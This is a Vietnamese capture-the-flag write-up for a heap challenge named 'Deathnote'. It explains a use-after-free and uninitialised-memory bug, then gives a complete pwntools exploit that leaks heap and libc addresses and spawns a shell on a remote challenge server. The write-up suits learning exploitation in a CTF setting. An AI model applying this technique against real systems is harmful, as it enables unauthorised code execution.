---
# System prepended metadata

title: Apocalypse

---

# Apocalypse

## Deathnote

* Đầu tiên ở chương trình sẽ có 1 mảng gốm 10 entries

![Screenshot 2024-03-22 192736](https://hackmd.io/_uploads/rJZvYxiAT.png)

* Sau đó là 1 vòng lặp vô hạn vs các option 

![Screenshot 2024-03-22 192829](https://hackmd.io/_uploads/B1M9Feo0T.png)

* Hàm `add`

![Screenshot 2024-03-22 192915](https://hackmd.io/_uploads/rJxhKxs06.png)

* Nó chỉ đơn giản là chọn size và index trong `entries` để set
* Index không có `out òf bound` và size bị giới hạn trong khoảng `1` đến `0x80`
* Ở đây ta thấy nó ko khởi tạo giá trị khi malloc nên sẽ còn xót lại những giá trị rác nên có thể dùng để leak

* Hàm `show`

![Screenshot 2024-03-22 193125](https://hackmd.io/_uploads/rJCX9ejRa.png)

* Chỉ đơn giản là in dữ liệu của 1 entry

* Hàm `delete`

![Screenshot 2024-03-22 193159](https://hackmd.io/_uploads/SkP85ejCa.png)

* Ở đây ta thấy nó `free` rồi nhưng mà ko clear giá trị trong `entries` nên ở đây ta có bug `use after free`

* Có 1 lựa chọn nữa khi chúng ta nhập option `*`

![Screenshot 2024-03-22 193314](https://hackmd.io/_uploads/Skmo5xj0a.png)

* Nó sẽ gọi hàm mà `entries[0]` trỏ vào và tham số là `entries[1]`, vậy nếu `entries[0]` chứa `system` còn `entries[1]` chứa `'/bin/sh` thì ta thắng

## Exploit

* Ở đây mk `free` 8 chunks để làm đầy tcache rồi chúng ta sẽ có libc

```py=
for i in range(9):
    add(0x80, i, b'A')
for i in range(8):
    delete(i)
show(7)
p.recvuntil(b'Page content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
libc.address = leak - 2206944
print('libc: ', hex(libc.address))
```

* Như vậy thì chỉ cần tạo `entries[0]` vs `entries[1]` nữa là xong

```py=
from pwn import *

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)

elf = context.binary = ELF('deathnote')
libc = ELF('./glibc/libc.so.6')

def add(size, idx, content):
    sla(b'entry', b'1')
    sla(b'request', str(size).encode())
    sla(b'Page', str(idx).encode())
    sa(b'victim:', content)
def show(idx):
    sla(b'entry', b'3')
    sla(b'Page', str(idx).encode())
def delete(idx):
    sla(b'entry', b'2')
    sla(b'Page', str(idx).encode())
def deobfuscate(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val


    
#context.log_level = 'debug'

#p = process()
p = remote('94.237.58.211', 55260)
#gdb.attach(p, gdbscript='''
#           b show
#           b _
#           c''')

add(0x10, 0, b'A')
add(0x10, 1, b'A')
delete(0)
delete(1)
show(1)
p.recvuntil(b'Page content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
leak = deobfuscate(leak)
print('leak: ', hex(leak))
heap = leak - 1712
print('heap: ', hex(heap))
for i in range(9):
    add(0x80, i, b'A')
for i in range(8):
    delete(i)
show(7)
p.recvuntil(b'Page content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
libc.address = leak - 2206944
print('libc: ', hex(libc.address))
add(0x10, 0, hex(libc.symbols['system']).encode())
add(0x10, 1, b'/bin/sh\x00')
p.sendlineafter(b'entry', b'42')


p.interactive()
```